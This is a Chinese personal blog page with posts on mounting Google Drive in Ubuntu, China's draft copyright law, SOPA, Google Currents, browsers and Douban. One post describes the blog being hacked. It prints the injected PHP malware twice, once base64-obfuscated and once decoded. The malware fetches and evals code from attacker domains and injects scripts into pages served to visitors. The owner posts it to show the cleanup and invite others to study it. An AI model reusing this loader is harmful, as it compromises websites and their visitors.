在ubuntu上使用google drive

在ubuntu上使用google drive by shizhao
在ubuntu上使用google drive, a photo by shizhao on Flickr.
测试成功!

来源
“First you need to add the packages provided by Luca and available in his PPA (11.10 only at present): -
sudo add-apt-repository ppa:invernizzi/google-docs-fs
sudo apt-get update && sudo apt-get install google-docs-fs
Once everything that’s needed has been installed log out and back in.

Open Nautilus
Create a new folder in your Home folder titled ‘Drive’
Open a Terminal and run: -
gmount Drive username@gmail.com
Input your password
Your Google Drive is now mounted in the ‘Drive’ folder”

中国新版著作权法对维基百科的影响

File:PD-icon.svg

4月初中国国家版权局发布了最新版的《中华人民共和国著作权法》修订草案,4月末最高法又公布了一个《最高人民法院关于审理侵犯信息网络传播权民事纠纷案件适用法律若干问题的规定(征求意见稿)》。我这里所说的“新版著作权法”就是指这两个而言。

摄影作品的著作权保护期被延长

在新的著作权法修订草案中将“电影作品和以类似摄制电影的方法创作的作品”改成了“视听作品”(见修订说明),并且规定其保护期为发表后50年,而原来同为保护期为发表后50年的摄影作品则不再单独提及,这也就意味着摄影作品的保护期限由原来的发表后50年变相延长为作者死亡後50年。

新版著作权法第二十七条相关规定:

视听作品,其著作权中的财产权利的保护期为首次发表后五十年,但作品自创作完成后五十年内未发表的,本法不再保护。

目前著作权法第二十一条相关规定:

电影作品和以类似摄制电影的方法创作的作品、摄影作品,其发表权、本法第十条第一款第(五)项至第(十七)项规定的权利的保护期为五十年,截止于作品首次发表后第五十年的12月31日,但作品自创作完成后五十年内未发表的,本法不再保护。

:在草案中,视听作品和摄影作品视为两种作品类型。其中,视听作品即现在著作权法中所指电影作品和以类似摄制电影的方法创作的作品(视听作品是指固定在一定介质上,由一系列有伴音 或者无伴音的画面组成,并且借助技术设备放映或者以其他方式传播的作品;——草案第三条第12款)。照片等属于摄影作品(摄影作品是指借助器械在感光材料 或者其他介质上记录客观物体形象的艺术作品——草案第三条第11款)。

草案第八十七条规定:

第八十七条 本法规定的著作权人和相关权人的权利,在本法施行之日尚未超过本法规定的保护期的,依照本法予以保护。
本法施行前发生的侵权或者违约行为,依照侵权或者违约行为发生时的有关规定和政策处理。

根据这一改变,在维基百科以及维基共享资源上的许多原本已经进入公有领域的摄影作品将可能从公有领域又转回受著作权保护状态。

网站外链侵权网页可能被视为侵权

最高法颁布的司法解释中规定:

第十一条 网络服务提供者仅通过搜索引擎根据网络用户指令自动提供搜索结果链接的,人民法院一般不认定其应知他人利用其网络服务侵害权利人信息网络传播权。

网络服务提供者有下列情形之一的,人民法院一般可以认定其构成应知侵权: (一)通过对热播影视作品、流行度较高的文字作品、音乐作品设置榜单、目录、索引并提供深层链接服务的; (二)通过描述性段落、内容简介等方式对链接作品、表演、录音录像制品等进行推荐的; (三)为主要从事侵权活动的第三方网站提供定向链接的; (四)可以认定应知的其他情形。

也就是说维基百科中的外链内容如果是侵权的,维基百科将可能被视为侵权。

 题外话:软件的著作权保护期

在新版著作权草案中,软件的著作权保护期继承了了原来的计算机软件保护条例的规定,其著作权保护期为作者逝世后50年。计算机软件作为飞速发展的作品,即使是50年的保护期都仍然过于漫长,更遑论作者逝世50年后作品才进入公有领域。这么长时间的保护期限,即使不说还有没有人会去用,恐怕很多软件在经过这么长时间之后,能不能在机器上跑起来都是一个问题。而这也就丧失了著作权设立保护期的意义。

著作权的保护期

著作权设立保护期,重要的一点是出于公众利益的考量。著作权不同于有形的财产,著作权持有人在作品上应当取得足够多的利益法律对此进行保护。而在足够长的时间后,作品的利益获取已经足够多,此时作品就进入公有领域,让所有人都可以在此作品的基础上进行再创作,最大化的利用作品的价值,成为人类共有的文化遗产。而这也正是中国著作权法立法的根本:

第一条 为保护文学、艺术和科学作品作者的著作权,以及与著作权有关的权益,鼓励有益于社会主义精神文明、物质文明建设的作品的创作和传播,促进社会主义文化和科学事业的发展与繁荣,根据宪法制定本法。

要知道,创立版权制度的初衷是:借由给予创作者一段时期的专有权利,作为(经济)刺激,以鼓励作者从事创作。当专有权利期间届止,作品便进入公有领域。公有领域的作品由于没有专属权利人,因此公众有权自由使用它们。

而对于前述的摄影作品而言,由于其介质的特殊性,作品难以长久保存,作者逝世后50年才进入公有领域的话,许多摄影作品可能已经无法再被公众加以利用创作。即使现在摄影作品越来越数字化,但是数字化内容的长期保存在科学界仍然还是一个难题。此外,对于软件而言,作者逝世后50年才进入公有领域,更是对公众的重复利用和再创作几乎无法产生价值,完全违背了著作权立法的初衷。

著作权的立法过程,本应该是对各方利益的平衡,但是现在这个草案,一方面对音乐人的利益过于剥夺,立法过于宽松;另一方面却又对公有领域进行侵占,立法过于严苛。实在搞不懂这个草案是怎么弄出来的?

如果你对著作权法草案有任何意见

4月30日前,可以通过以下途径和方式对修订草案提出意见:
1. 通过信函将意见寄至:北京市宣武门外大街40号新闻出版总署(国家版权局)法规司(邮政编码:100052),并在信封上注明“著作权法征求意见”字样。
2. 通过传真将意见传至:新闻出版总署(国家版权局)法规司010-83138643。
3. 通过电子邮件将意见发至:ncacfgs@126.com。

blog被入侵

前几日blog被入侵,在所有页面都被注入以下代码:

<?php /**/ eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyRyZXN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2RlKCcnLCRpbmMpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJldHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdGlvbiB0cnlmc29ja29wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3BlbigkaG9zdCw4MCwkZXJybm8sICRlcnJzdHIsMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXRlKCRmLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCFmZW9mKCRmKSl7JGJ1Zi49ZnJlYWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0PSRwWydob3N0J107JHVyaT0kcFsncGF0aCddLic/Jy4kcFsncXVlcnknXTskaXAxPUBnZXRob3N0YnluYW1lKCRob3N0KTskaXAyPUBsb25nMmlwKEBpcDJsb25nKCRpcDEpKTsgaWYgKCRpcDEhPSRpcDIpcmV0dXJuIGZhbHNlOyRzb2NrPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7aWYgKCFAc29ja2V0X2Nvbm5lY3QoJHNvY2ssJGlwMSw4MCkpe0Bzb2NrZXRfY2xvc2UoJHNvY2spO3JldHVybiBmYWxzZTt9JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7c29ja2V0X3dyaXRlKCRzb2NrLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCR0PXNvY2tldF9yZWFkKCRzb2NrLDEwMDAwKSl7JGJ1Zi49JHQ7fUBzb2NrZXRfY2xvc2UoJHNvY2spO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdXBkYXRlX3Rkc19maWxlXzc3NygkdGRzZmlsZSl7JGFjdHVhbDE9JF9TRVJWRVJbJ3NfYTEnXTskYWN0dWFsMj0kX1NFUlZFUlsnc19hMiddOyR2YWw9Z2V0X3Rkc183NzcoJGFjdHVhbDEpO2lmICgkdmFsPT0iIikkdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwyKTskZj1AZm9wZW4oJHRkc2ZpbGUsInciKTtpZiAoJGYpe0Bmd3JpdGUoJGYsJHZhbCk7QGZjbG9zZSgkZik7fWlmIChzdHJzdHIoJHZhbCwifHx8Q09ERXx8fCIpKXtsaXN0KCR2YWwsJGNvZGUpPWV4cGxvZGUoInx8fENPREV8fHwiLCR2YWwpO2V2YWwoYmFzZTY0X2RlY29kZSgkY29kZSkpO31yZXR1cm4gJHZhbDt9ICBmdW5jdGlvbiBnZXRfYWN0dWFsX3Rkc183NzcoKXskZGVmYXVsdGRvbWFpbj0kX1NFUlZFUlsnc19kMSddOyRkaXI9JF9TRVJWRVJbJ3NfcDEnXTskdGRzZmlsZT0kZGlyLiJsb2cxLnR4dCI7aWYgKEBmaWxlX2V4aXN0cygkdGRzZmlsZSkpeyRtdGltZT1AZmlsZW10aW1lKCR0ZHNmaWxlKTskY3RpbWU9dGltZSgpLSRtdGltZTtpZiAoJGN0aW1lPiRfU0VSVkVSWydzX3QxJ10peyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO31lbHNleyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdGRzZmlsZSk7fX1lbHNleyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO30kdGRzPUBleHBsb2RlKCJcbiIsJGNvbnRlbnQpOyRjPUBjb3VudCgkdGRzKSswOyR1cmw9JGRlZmF1bHRkb21haW47aWYgKCRjPjEpeyR1cmw9dHJpbSgkdGRzW210X3JhbmQoMCwkYy0yKV0pO31yZXR1cm4gJHVybDt9ICBmdW5jdGlvbiBpc19tYWNfNzc3KCR1YSl7JG1hYz0wO2lmIChzdHJpc3RyKCR1YSwibWFjIil8fHN0cmlzdHIoJHVhLCJzYWZhcmkiKSlpZiAoKCFzdHJpc3RyKCR1YSwid2luZG93cyIpKSYmKCFzdHJpc3RyKCR1YSwiaXBob25lIikpKSRtYWM9MTtyZXR1cm4gJG1hYzt9ICBmdW5jdGlvbiBpc19tc2llXzc3NygkdWEpeyRtc2llPTA7aWYgKHN0cmlzdHIoJHVhLCJNU0lFIDYiKXx8c3RyaXN0cigkdWEsIk1TSUUgNyIpfHxzdHJpc3RyKCR1YSwiTVNJRSA4Iil8fHN0cmlzdHIoJHVhLCJNU0lFIDkiKSkkbXNpZT0xO3JldHVybiAkbXNpZTt9ICAgIGZ1bmN0aW9uIHNldHVwX2dsb2JhbHNfNzc3KCl7JHJ6PSRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi8ubG9ncy8iOyRtej0iL3RtcC8iO2lmICghaXNfZGlyKCRyeikpe0Bta2RpcigkcnopO2lmIChpc19kaXIoJHJ6KSl7JG16PSRyejt9ZWxzZXskcno9JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLiIvLmxvZ3MvIjtpZiAoIWlzX2RpcigkcnopKXtAbWtkaXIoJHJ6KTtpZiAoaXNfZGlyKCRyeikpeyRtej0kcno7fX1lbHNleyRtej0kcno7fX19ZWxzZXskbXo9JHJ6O30kYm90PTA7JHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTtpZiAoc3RyaXN0cigkdWEsIm1zbmJvdCIpfHxzdHJpc3RyKCR1YSwiWWFob28iKSkkYm90PTE7aWYgKHN0cmlzdHIoJHVhLCJiaW5nYm90Iil8fHN0cmlzdHIoJHVhLCJnb29nbGUiKSkkYm90PTE7JG1zaWU9MDtpZiAoaXNfbXNpZV83NzcoJHVhKSkkbXNpZT0xOyRtYWM9MDtpZiAoaXNfbWFjXzc3NygkdWEpKSRtYWM9MTtpZiAoKCRtc2llPT0wKSYmKCRtYWM9PTApKSRib3Q9MTsgIGdsb2JhbCAkX1NFUlZFUjsgICAgJF9TRVJWRVJbJ3NfcDEnXT0kbXo7ICAkX1NFUlZFUlsnc19iMSddPSRib3Q7ICAkX1NFUlZFUlsnc190MSddPTEyMDA7ICAkX1NFUlZFUlsnc19kMSddPSJodHRwOi8vc3dlZXBzdGFrZXNhbmRjb250ZXN0c2RvLmNvbS8iOyAgJGQ9Jz9kPScudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiZwPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4iJmE9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsgICRfU0VSVkVSWydzX2ExJ109J2h0dHA6Ly93d3cubGlseXBvcGhpbHlwb3AuY29tL2dfbG9hZC5waHAnLiRkOyAgJF9TRVJWRVJbJ3NfYTInXT0naHR0cDovL3d3dy5sb2x5cG9waG9seXBvcC5jb20vZ19sb2FkLnBocCcuJGQ7ICAkX1NFUlZFUlsnc19zY3JpcHQnXT0ibW0ucGhwP2Q9MSI7ICB9ICAgICAgc2V0dXBfZ2xvYmFsc183NzcoKTsgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ21sXzc3NycpKXsgIGZ1bmN0aW9uIGdtbF83NzcoKXsgICAgJHJfc3RyaW5nXzc3Nz0nJzsgIGlmICgkX1NFUlZFUlsnc19iMSddPT0wKSRyX3N0cmluZ183Nzc9JzxzY3JpcHQgc3JjPSInLmdldF9hY3R1YWxfdGRzXzc3NygpLiRfU0VSVkVSWydzX3NjcmlwdCddLiciPjwvc2NyaXB0Pic7ICByZXR1cm4gJHJfc3RyaW5nXzc3NzsgIH0gIH0gICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZWl0JykpeyAgZnVuY3Rpb24gZ3pkZWNvZGVpdCgkZGVjb2RlKXsgICR0PUBvcmQoQHN1YnN0cigkZGVjb2RlLDMsMSkpOyAgJHN0YXJ0PTEwOyAgJHY9MDsgIGlmKCR0JjQpeyAgJHN0cj1AdW5wYWNrKCd2JyxzdWJzdHIoJGRlY29kZSwxMCwyKSk7ICAkc3RyPSRzdHJbMV07ICAkc3RhcnQrPTIrJHN0cjsgIH0gIGlmKCR0JjgpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMTYpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMil7ICAkc3RhcnQrPTI7ICB9ICAkcmV0PUBnemluZmxhdGUoQHN1YnN0cigkZGVjb2RlLCRzdGFydCkpOyAgaWYoJHJldD09PUZBTFNFKXsgICRyZXQ9JGRlY29kZTsgIH0gIHJldHVybiAkcmV0OyAgfSAgfSAgZnVuY3Rpb24gbXJvYmgoJGNvbnRlbnQpeyAgQEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgJGRlY29kZWRfY29udGVudD1nemRlY29kZWl0KCRjb250ZW50KTsgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJGRlY29kZWRfY29udGVudCkpeyAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sXzc3NygpLiJcbiIuJyQxJywkZGVjb2RlZF9jb250ZW50KTsgIH1lbHNleyAgcmV0dXJuICRkZWNvZGVkX2NvbnRlbnQuZ21sXzc3NygpOyAgfSAgfSAgb2Jfc3RhcnQoJ21yb2JoJyk7ICB9ICB9″));?>

非常感谢 @zula和@tifan的帮助,清理掉了病毒,恢复了blog。用了一个很简单的办法:

find . -name “*.php” -exec sed -i ’1s///g’ {} \;

另外,@tifan还给出了病毒的源代码:

if (function_exists(‘ob_start’) && !isset($_SERVER['mr_no'])) {
$_SERVER['mr_no'] = 1;
if (!function_exists(‘mrobh’)) {
function get_tds_777($url) {
$content = “”;
$content = @trycurl_777($url);
if ($content !== false) return $content;
$content = @tryfile_777($url);
if ($content !== false) return $content;
$content = @tryfopen_777($url);
if ($content !== false) return $content;
$content = @tryfsockopen_777($url);
if ($content !== false) return $content;
$content = @trysocket_777($url);
if ($content !== false) return $content;
return ”;
}
function trycurl_777($url) {
if (function_exists(‘curl_init’) === false) return false;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);
if ($result == “”) return false;
return $result;
}
function tryfile_777($url) {
if (function_exists(‘file’) === false) return false;
$inc = @file($url);
$buf = @implode(”, $inc);
if ($buf == “”) return false;
return $buf;
}
function tryfopen_777($url) {
if (function_exists(‘fopen’) === false) return false;
$buf = ”;
$f = @fopen($url, ‘r’);
if ($f) {
while (!feof($f)) {
$buf. = fread($f, 10000);
}
fclose($f);
} else return false;
if ($buf == “”) return false;
return $buf;
}
function tryfsockopen_777($url) {
if (function_exists(‘fsockopen’) === false) return false;
$p = @parse_url($url);
$host = $p['host'];
$uri = $p['path'].’?’.$p['query'];
$f = @fsockopen($host, 80, $errno, $errstr, 30);
if (!$f) return false;
$request = “GET $uri HTTP/1.0\n”;
$request. = “Host: $host\n\n”;
fwrite($f, $request);
$buf = ”;
while (!feof($f)) {
$buf. = fread($f, 10000);
}
fclose($f);
if ($buf == “”) return false;
list($m, $buf) = explode(chr(13).chr(10).chr(13).chr(10), $buf); //\r\n\r\n
return $buf;
}
function trysocket_777($url) {
if (function_exists(‘socket_create’) === false) return false;
$p = @parse_url($url);
$host = $p['host'];
$uri = $p['path'].’?’.$p['query'];
$ip1 = @gethostbyname($host);
$ip2 = @long2ip(@ip2long($ip1));
if ($ip1 != $ip2) return false;
$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!@socket_connect($sock, $ip1, 80)) {@socket_close($sock);
return false;
}
$request = “GET $uri HTTP/1.0\n”;
$request. = “Host: $host\n\n”;
socket_write($sock, $request);
$buf = ”;
while ($t = socket_read($sock, 10000)) {
$buf. = $t;
}@socket_close($sock);
if ($buf == “”) return false;
list($m, $buf) = explode(chr(13).chr(10).chr(13).chr(10), $buf);
return $buf;
}
function update_tds_file_777($tdsfile) {
$actual1 = $_SERVER['s_a1'];
$actual2 = $_SERVER['s_a2'];
$val = get_tds_777($actual1);
if ($val == “”) $val = get_tds_777($actual2);
$f = @fopen($tdsfile, “w”);
if ($f) {@fwrite($f, $val);@fclose($f);
}
if (strstr($val, “|||CODE|||”)) {
list($val, $code) = explode(“|||CODE|||”, $val);
eval(base64_decode($code));
}
return $val;
}
function get_actual_tds_777() {
$defaultdomain = $_SERVER['s_d1'];
$dir = $_SERVER['s_p1'];
$tdsfile = $dir.”log1.txt”;
if (@file_exists($tdsfile)) {
$mtime = @filemtime($tdsfile);
$ctime = time() – $mtime;
if ($ctime > $_SERVER['s_t1']) {
$content = update_tds_file_777($tdsfile);
} else {
$content = @file_get_contents($tdsfile);
}
} else {
$content = update_tds_file_777($tdsfile);
}
$tds = @explode(“\n”, $content);
$c = @count($tds) + 0;
$url = $defaultdomain;
if ($c > 1) {
$url = trim($tds[mt_rand(0, $c - 2)]);
}
return $url;
}
function is_mac_777($ua) {
$mac = 0;
if (stristr($ua, “mac”) || stristr($ua, “safari”)) if ((!stristr($ua, “windows”)) && (!stristr($ua, “iphone”))) $mac = 1;
return $mac;
}
function is_msie_777($ua) {
$msie = 0;
if (stristr($ua, “MSIE 6″) || stristr($ua, “MSIE 7″) || stristr($ua, “MSIE 8″) || stristr($ua, “MSIE 9″)) $msie = 1;
return $msie;
}
function setup_globals_777() {
$rz = $_SERVER["DOCUMENT_ROOT"].”/.logs/”;
$mz = “/tmp/”;
if (!is_dir($rz)) {@mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"].”/.logs/”;
if (!is_dir($rz)) {@mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, “msnbot”) || stristr($ua, “Yahoo”)) $bot = 1;
if (stristr($ua, “bingbot”) || stristr($ua, “google”)) $bot = 1;
$msie = 0;
if (is_msie_777($ua)) $msie = 1;
$mac = 0;
if (is_mac_777($ua)) $mac = 1;
if (($msie == 0) && ($mac == 0)) $bot = 1;
global $_SERVER;
$_SERVER['s_p1'] = $mz;
$_SERVER['s_b1'] = $bot;
$_SERVER['s_t1'] = 1200;
$_SERVER['s_d1'] = “http://sweepstakesandcontestsdo.com/”;
$d = ‘?d=’.urlencode($_SERVER["HTTP_HOST"]).”&p=”.urlencode($_SERVER["PHP_SELF"]).”&a=”.urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1'] = ‘http://www.lilypophilypop.com/g_load.php’.$d;
$_SERVER['s_a2'] = ‘http://www.lolypopholypop.com/g_load.php’.$d;
$_SERVER['s_script'] = “mm.php?d=1″;
}
setup_globals_777();
if (!function_exists(‘gml_777′)) {
function gml_777() {
$r_string_777 = ”;
if ($_SERVER['s_b1'] == 0) $r_string_777 = ‘‘;
return $r_string_777;
}
}
if (!function_exists(‘gzdecodeit’)) {
function gzdecodeit($decode) {
$t = @ord(@substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = @unpack(‘v’, substr($decode, 10, 2));
$str = $str[1];
$start += 2 + $str;
}
if ($t & 8) {
$start = @strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = @strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = @gzinflate(@substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
}
function mrobh($content) {@Header(‘Content-Encoding: none’);
$decoded_content = gzdecodeit($content);
if (preg_match(‘/\]*\>)/si’, gml_777().”\n”.’$1′, $decoded_content);
} else {
return $decoded_content.gml_777();
}
}
ob_start(‘mrobh’);
}
}

感兴趣的同学可以研究一下~~~

自由,是多么令人感动

最近,有两件事让我非常感动。

其实第一件事严格说来也不能算事,只是看了两本书而已,书中的内容颇让人触动。书是夫妻二人组林达写的近距离看美国系列中的两本:《历史深处的忧虑》、《总统是靠不住的》。不是小说,不是传记,不是励志读物,只是两本讨论美国社会政治制度的散文,可这居然数次让我动容,眼角发酸。书中讲到美国人200年来一直守护着自由;即使总统,到了最危险的关头也能以人民和宪法为重;开国者们为了保障自由、限制公权力而绞尽脑汁,法官们践行法律时也能时时注意到不伤害人民的自由权利。

第二件让我感动的事情就是这两天网络上(严格来说是美国网络上)闹得沸沸扬扬的反对SOPA法案的活动。详情不用说了,网络上已经一大把一大把的文章了,或许也可以看看维基百科上的声明以及其法律顾问的解释。这是一个对可能危及美国人民自由的法案而发出的反对活动。难得看到这么多的web2.0网站如此齐心,而最让我心潮澎湃的是google首页上的这句话:“告诉国会:请不要审查互联网!”

Google首页抗议反盗版法案

为这两件事居然会感动,自己都觉得有些不可思议。细细想来,那还是因为我朝的自由缺缺,看到别人为自由能够自由的抗争和发声并去保护,实在是感触太多之故吧。

试用Google Currents

Google Currents producer logo

Google Currents是google最新推出的数字内容移动平台,安卓平台和iOS平台都可以使用(不支持中国区)。看了一圈评价,觉得还是xjp的看法靠谱,这不仅仅是数字阅读移动平台,更为重要的是,它还是一个个人数字内容出版平台,对于自媒体而言,可以零成本的将自己的内容通过这个平台发布到移动设备上,app的资金与技术成本还是太高了。

试用了一下它的发布功能,总体而言Google Currents还是一个非常典型的beta产品,问题多多。例如对于feed的解析,远不如google redaer强大,某些feed不能正常解析。虽然内置支持google+,但是对google+内容的处理问题很大,例如我把自己的google+发布上去,它却只能提供很多天以前的内容,最新的内容始终看不到。但是也看到,它改进也是很快的,头一天建立的内容还不能删除,第二天就已经修好了。

记得之前有人说干脆自己做个app,然后在上面写连载小说。Google Currents已经能够完全实现这个功能了。Google Currents 可以通过feed导入内容,也可以从google doc导入,那么只要在google docs写小说,就可以同步发布到Google Currents 了。

我把我的blog、flickr、tumblr、google+的内容整合在一起发布到了Google Currents ,你可以在移动设备上点击这个链接在Google Currents 上订阅我发布的内容。或者也可以在Google Currents上搜索“半亩塘闲话”找到我。

下面是我在Google Currents上的两张截图:

(照片页)

(导航页)
我穿墙而来,google Currents能当几时?

Firefox完了吗?

前几天新闻说Chrome市场份额已经超越Firefox,现在就已经有人认为firefox要完了

真的要完了吗?至少于我而言,firefox虽然已经不是默认的浏览器了(默认当时是Chrome了),但是firefox还是有不可替代的优点,Chrome仍然在我这里不能完全取代Firefox的地位。

现在我浏览网页,google服务什么的大部分都使用chrome,但是写维基百科以及写blog,还是感觉Firefox更加好用。Chrome对网页中编辑文本框的处理仍然存在一些问题,最重要的是鼠标在文本框中选取、复制粘贴一系列操作简直惨不忍睹,经常会一不留神选多了或选少了,甚或一部注意就删掉了一部分文字,而Firefox在这一点上确实非常好用,鼠标在文本框中的操作要比Chrome流畅许多,也没有Chrome的这些毛病。而最最最最重要的一点是,Firefox支持在文本框中对选取的文字Ctrl+鼠标右键可以直接拖拽复制(光标上会出现一个加号),Chrome就完全没有这个功能。而我非常需要的就是这个功能。因此对我而言,Firefox还是有其不可替代的地方的。

书&豆瓣

更新:今天发现豆瓣读书已经增加了分享功能,不知道是不是和这篇blog有关?

 

豆瓣前些阵子推出的豆瓣购书单手机客户端真的是很好用,去书店买书的时候非常方便。前两天第一次用,结果用它在书店淘到了4本网上书店一直缺货的书。

只是同时也要批评一下豆瓣,豆瓣读书这个豆瓣用来起家的项目,现在似乎越来越不受豆瓣重视,例如原来一本书有三种状态:想读、在读和已读,我一直以来的用法是,把想买的书都放到想读中,并同时放到购书单里,开始阅读后,把这本书的状态从想读改成在读,读完后再改成已读。此前不同状态间的切换,都会广播出去,而前一阵子开始,一本书只有最开始选择的一个状态会广播,以后的则不会广播出去了。例如我开始把书设置为想读,是会广播出去的,但是改成已读或再读则都不会广播出去了。豆瓣这个我一直用来以书会友的SNS站点已经失去了以书会友的功能。真的是不知道豆瓣是怎么想的?

另外,豆瓣电影可以同步广播到新浪微博等站点,而豆瓣读书却没有这个同步分享的功能。

